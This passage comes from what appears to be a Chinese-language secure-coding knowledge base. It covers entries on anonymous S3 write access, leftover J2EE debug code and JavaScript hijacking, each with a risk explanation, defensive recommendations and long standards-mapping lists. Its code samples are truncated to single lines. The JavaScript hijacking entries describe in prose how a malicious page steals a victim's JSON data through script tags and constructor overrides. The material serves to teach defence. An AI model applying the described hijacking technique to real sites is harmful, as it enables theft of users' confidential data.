[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: S3 Write ACP Anonymous Access
ABSTRACT
应用程序可授予匿名写入 AWS S3 存储桶或对象的访问控制策略 (ACP) 的权限。
EXPLANATION
授予匿名写入存储桶或对象的访问控制策略 (ACP) 的权限将允许攻击者在该存储桶中读取或写入任意内容。
示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名写入 ACP 访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
RECOMMENDATIONS
始终应用最小权限原则并授予程序所需的最小权限集。
示例 2:以下代码设置的Access Control Policy可基于用户的电子邮件地址授予对单个用户的访问控制策略 (ACP) 写入访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements, 8.3.4 Sensitive Private Data, 10.2.1 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: S3 Write Anonymous Access
ABSTRACT
应用程序可授予对 AWS S3 存储桶或对象的匿名写入访问权限。
EXPLANATION
授予对存储桶或对象的匿名写入访问权限将允许攻击者替换内容或上传恶意内容。
示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名写入访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
RECOMMENDATIONS
始终应用最小权限原则并授予程序所需的最小权限集。
示例 2:以下代码设置的Access Control Policy可基于用户的电子邮件地址授予对单个用户的写入访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements, 8.3.4 Sensitive Private Data, 10.2.1 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Bad Practices: Leftover Debug Code
ABSTRACT
调试代码可以在部署的 web 应用程序中建立一些意想不到的入口点。
EXPLANATION
开发过程中一般会为了调试和测试目的增加一些“后门”代码,这些代码不会随应用程序一起提供或部署。如果这类调试代码无意中被保留在应用程序中,则会导致应用程序向计划外的交互模式开放。这些后门入口点很容易产生安全隐患,因为它们不在当初的设计或者测试的考虑之内,并且不会出现在应用程序设计中的操作环境里。
遗忘调试代码中最常见例子出现在 web 应用程序中的 main() 方法。尽管这在产品的开发过程中是完全可以接受的,但是属于 J2EE 应用程序中的那部分类不应该定义 main()。
RECOMMENDATIONS
务必在部署应用程序的产品版之前删除调试代码。无论是否存在直接的安全威胁,一旦早期开发阶段结束,就没有任何理由将这样的代码保留在应用程序中。
REFERENCES
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 489
[3] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
JavaScript Hijacking
ABSTRACT
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
EXPLANATION
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。
Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。
JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。
示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。
客户端向服务器请求数据,并通过以下代码评估 JSON 结果:
1 | var object; |
当代码运行时,会生成一个如下所示的 HTTP 请求:
1 | GET /object.json HTTP/1.1 |
(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。) 服务器使用 JSON 格式的数组进行响应:
1 | HTTP/1.1 200 OK |
这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。
1 | `<script>` |
恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。
当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 – 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。
这不是钓鱼攻击 – 攻击者未获得用户凭证的访问权限 – 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
RECOMMENDATIONS
所有使用 JavaScript 进行交流的程序需要采取以下防范措施:1) 拒绝恶意请求:— 在每个返回给 JavaScript 的请求中使用一些令人难以猜测的标识符,如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应:包括某些响应中的字符,这些响应只有经过了修改,才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script>
标签看清 JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。
拒绝恶意请求 从服务器的角度来看,JavaScript 劫持攻击类似于跨站点伪装请求,因此,防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求,每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时,它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie(cookie 也需要遵循同源策略 (Same Origin Policy)),因此,攻击者即使制造了请求,也很难再通过检验了。也可以使用其他机密信息代替会话 cookie;只要这个机密信息难以猜测,可以在合法应用程序能够访问的上下文中使用,同时又无法通过其他的域进行访问,就可以防止攻击者制造有效的请求。
有一些框架仅能运行在客户端上。换言之,它们完全由 JavaScript 编写而成,对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称,它们也能参与基于 cookie 的防范,途径就是将所有的 cookie 附加到发送给服务器的各个请求中。
例 2:以下 JavaScript 片段描述了这种“盲客户端”策略:
1 | var httpRequest = new XMLHttpRequest(); |
服务器也可以检查 HTTP referer 头信息,以确保请求来自于合法的应用程序,而不是恶意的应用程序。从历史上看,referer 头信息一直都未受到过信任,因此,我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法,即让服务器只对 HTTP POST 请求做出响应,而不回应任何 HTTP GET 请求。这是一项防御技术,原因是 <script>
标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而,这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑,这意味着未来的某一时刻,程序员可能会误认为这种功能上的不足是疏忽所致,而没有将它作为一种安全预警加以认识,进而修改了应用程序以响应 GET 请求。
防止直接执行响应 为了使恶意站点无法执行包含 JavaScript 的响应,合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限,而恶意的应用程序则只能使用 <script>
标签执行响应。当服务器序列化某个对象时,该对象应包括一个前缀(也可以是后缀),从而使它无法通过<script>
标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。
例 3:该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种,服务器可以把以下指令作为消息的前缀:
while(1);
除非客户端删除这些前缀,否则对这个消息求值将把 JavaScript 解释器发送到一个无限的循环中。客户端搜索并删除如下前缀:
1 | var object; |
第二种,服务器可以在 JavaScript 附近加注注释字符,这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释:
1 | /* |
客户端可以搜索并删除如下注释字符:
1 | var object; |
任何通过 <script>
标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。
自第 5 版 EcmaScript 起,已不可能攻击 JavaScript 数组构造函数。
REFERENCES
[1] B. Chess, Y. O’Neil, and J. West JavaScript Hijacking
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[5] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[8] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[9] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
JavaScript Hijacking: Vulnerable Framework
ABSTRACT
运行在 DWR Ajax framework 1.1.4 或更早版本上的应用程序容易受到 JavaScript hijacking 攻击,这将使一个未经授权的攻击者能够查看到机密信息。
EXPLANATION
DWR 的所有发行版本,包括 1.1.4 及之前的版本,都容易受到 JavaScript hijacking 攻击 [1]。直到现在,这个框架还没有建立任何防范该漏洞的机制。好消息是 DWR 2.0 能够利用一个用来防范跨站点伪装请求的机制来防范 JavaScript hijacking 攻击。由于恶意脚本无法读取由其他域设置的 cookie 中所存储的机密信息,该保护机制就利用了这一点,允许框架将 cookie 中存储的值作为在客户端和服务器端之间共享的机密信息。DWR 2.0 会自动在客户端为请求追加会话 cookie,并在服务器上验证每项请求是否均包含正确的值。
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。
Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行 JavaScript,从其他网站加载的敏感信息,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。
JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。
示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。
客户端向服务器请求数据,并通过以下代码评估 JSON 结果:
1 | var object; |
当代码运行时,会生成一个如下所示的 HTTP 请求:
1 | GET /object.json HTTP/1.1 |
(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。) 服务器使用 JSON 格式的数组进行响应:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。
1 | `<script>` |
恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。
当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 – 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。
这不是钓鱼攻击 – 攻击者未获得用户凭证的访问权限 – 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。 RECOMMENDATIONS 所有使用 JavaScript 进行通信的程序都应采取以下防范措施:1) 拒绝恶意请求:在每个返回给 JavaScript 的请求中都加入令人难以猜测的标识符,如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应:在响应中加入一些字符,使其只有经过修改,才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script>
标签看清 JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。
拒绝恶意请求 从服务器的角度来看,JavaScript 劫持攻击类似于跨站点伪装请求,因此,防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求,每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时,它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie(cookie 也需要遵循同源策略 (Same Origin Policy)),因此,攻击者即使制造了请求,也很难再通过检验了。也可以使用其他机密信息代替会话 cookie;只要这个机密信息难以猜测,可以在合法应用程序能够访问的上下文中使用,同时又无法通过其他的域进行访问,就可以防止攻击者制造有效的请求。
有一些框架仅能运行在客户端上。换言之,它们完全由 JavaScript 编写而成,对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称,它们也能参与基于 cookie 的防范,途径就是将所有的 cookie 附加到发送给服务器的各个请求中。
示例 2:以下 JavaScript 片段描述了这种“盲客户端”策略:
1 | var httpRequest = new XMLHttpRequest(); |
服务器也可以检查 HTTP referer 头信息,以确保请求来自于合法的应用程序,而不是恶意的应用程序。从历史上看,referer 头信息一直都未受到过信任,因此,我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法,即让服务器只对 HTTP POST 请求做出响应,而不回应任何 HTTP GET 请求。这是一项防御技术,原因是 `<script>
